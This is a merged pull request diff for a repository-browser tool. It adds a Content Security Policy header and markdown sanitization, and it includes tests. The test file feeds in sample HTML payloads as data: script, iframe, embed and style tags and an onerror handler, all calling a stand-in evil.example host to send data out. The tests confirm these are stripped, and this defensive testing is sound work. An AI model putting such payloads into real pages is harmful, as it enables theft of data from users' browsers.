Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
30 changes: 30 additions & 0 deletions package-lock.json

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

22 changes: 22 additions & 0 deletions packages/cli/src/server.ts
Original file line number Diff line number Diff line change
Expand Up @@ -73,6 +73,27 @@ const MIME_TYPES: Record<string, string> = {
'.pdf': 'application/pdf',
};

/**
* Repository content is rendered in this origin, so nothing it contains may reach the network.
* `script-src` still needs 'unsafe-inline' for the inline scripts in the built index.html;
* markdown is sanitized separately, and every exfiltration sink is closed here.
*/
const CONTENT_SECURITY_POLICY = [
"default-src 'self'",
"base-uri 'none'",
"object-src 'none'",
"frame-src 'none'",
"frame-ancestors 'none'",
"form-action 'none'",
"img-src 'self' data:",
"font-src 'self' data:",
"style-src 'self' 'unsafe-inline'",
// 'wasm-unsafe-eval' is what the syntax highlighter needs: shiki compiles an oniguruma
// WebAssembly module, which CSP treats as script compilation. It permits WASM only, not eval.
"script-src 'self' 'unsafe-inline' 'wasm-unsafe-eval'",
"connect-src 'self'",
].join('; ');

/**
* The tree browser only ever needs raw bytes for images. Anything else — a repository's own
* .html or .svg — would otherwise be rendered in this origin, where it can read the API.
Expand Down Expand Up @@ -252,6 +273,7 @@ export function startServer(options: ServerOptions): Promise<ServerResult> {
const pathname = url.pathname;

res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('Content-Security-Policy', CONTENT_SECURITY_POLICY);

if (req.method === 'OPTIONS') {
res.writeHead(204);
Expand Down
1 change: 1 addition & 0 deletions packages/ui/package.json
Original file line number Diff line number Diff line change
Expand Up @@ -26,6 +26,7 @@
"react-markdown": "^10.1.0",
"react-router": "^7.13.2",
"rehype-raw": "^7.0.0",
"rehype-sanitize": "^6.0.0",
"remark-gfm": "^4.0.1",
"shiki": "^4.0.2",
"sonner": "^2.0.7",
Expand Down
8 changes: 7 additions & 1 deletion packages/ui/src/components/tree/markdown-preview.tsx
Original file line number Diff line number Diff line change
Expand Up @@ -2,10 +2,12 @@ import { Fragment, useMemo, useCallback, type ReactElement } from 'react';
import ReactMarkdown from 'react-markdown';
import remarkGfm from 'remark-gfm';
import rehypeRaw from 'rehype-raw';
import rehypeSanitize from 'rehype-sanitize';
import type { Components } from 'react-markdown';
import { useHighlighter } from '../../hooks/use-highlighter';
import { getTheme } from '../../hooks/use-theme';
import { MermaidDiagram } from '../mermaid-diagram';
import { markdownSanitizeSchema } from '../../lib/markdown-sanitize';

interface MarkdownPreviewProps {
content: string[];
Expand Down Expand Up @@ -163,7 +165,11 @@ export function MarkdownPreview(props: MarkdownPreviewProps) {
<FrontmatterTable entries={frontmatterEntries} />
)}
<div className="gh-md-body">
<ReactMarkdown remarkPlugins={[remarkGfm]} rehypePlugins={[rehypeRaw]} components={components}>
<ReactMarkdown
remarkPlugins={[remarkGfm]}
rehypePlugins={[rehypeRaw, [rehypeSanitize, markdownSanitizeSchema]]}
components={components}
>
{markdown}
</ReactMarkdown>
</div>
Expand Down
10 changes: 10 additions & 0 deletions packages/ui/src/lib/markdown-sanitize.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
import { defaultSchema } from 'rehype-sanitize';

/**
* rehype-raw turns a repository's own markdown into live HTML, so it has to be sanitized: a
* README in a pull request could otherwise script, iframe or beacon out of this origin.
*
* The default schema is GitHub's own, which keeps `class="language-…"` on `code` — the pre
* renderer reads it to pick a highlighter.
*/
export const markdownSanitizeSchema: typeof defaultSchema = defaultSchema;
66 changes: 66 additions & 0 deletions packages/ui/tests/markdown-sanitize.test.tsx
Original file line number Diff line number Diff line change
@@ -0,0 +1,66 @@
import { describe, it, expect } from 'vitest';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import remarkGfm from 'remark-gfm';
import rehypeRaw from 'rehype-raw';
import rehypeSanitize from 'rehype-sanitize';
import { markdownSanitizeSchema } from '../src/lib/markdown-sanitize';

function render(markdown: string): string {
return renderToStaticMarkup(
<ReactMarkdown
remarkPlugins={[remarkGfm]}
rehypePlugins={[rehypeRaw, [rehypeSanitize, markdownSanitizeSchema]]}
>
{markdown}
</ReactMarkdown>,
);
}

describe('markdown rendered from repository content', () => {
it('drops the elements that reach the network or execute', () => {
const html = render(
[
'<script>fetch("https://evil.example/steal")</script>',
'<iframe src="https://evil.example/frame"></iframe>',
'<object data="https://evil.example/o"></object>',
'<embed src="https://evil.example/e"/>',
'<link rel="stylesheet" href="https://evil.example/s.css"/>',
'<style>@import url("https://evil.example/i.css");</style>',
'<base href="https://evil.example/"/>',
].join('\n\n'),
);

expect(html).not.toContain('<script');
expect(html).not.toContain('<iframe');
expect(html).not.toContain('<object');
expect(html).not.toContain('<embed');
expect(html).not.toContain('<link');
expect(html).not.toContain('<style');
expect(html).not.toContain('<base');
// Disallowed elements leave their text behind as escaped, inert text; what must not
// survive is a live reference to the host.
expect(html).not.toMatch(/(?:src|href|data)="[^"]*evil\.example/);
});

it('drops event handler attributes', () => {
const html = render('<img src="x" onerror="fetch(\'https://evil.example\')"/>');

expect(html).not.toContain('onerror');
expect(html).not.toContain('evil.example');
});

it('keeps the language class the code renderer needs', () => {
const html = render('```ts\nconst a = 1\n```');

expect(html).toContain('language-ts');
});

it('keeps ordinary formatting', () => {
const html = render('# Title\n\n**bold** and a [link](https://example.com)\n\n| a | b |\n| - | - |\n| 1 | 2 |');

expect(html).toContain('<h1>Title</h1>');
expect(html).toContain('<strong>bold</strong>');
expect(html).toContain('<table>');
});
});
2 changes: 1 addition & 1 deletion packages/ui/vite.config.ts
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@ import { defineConfig } from "vite";
export default defineConfig({
plugins: [tailwindcss(), reactRouter()],
test: {
include: ["tests/**/*.test.ts"],
include: ["tests/**/*.test.{ts,tsx}"],
},
server: {
proxy: {
Expand Down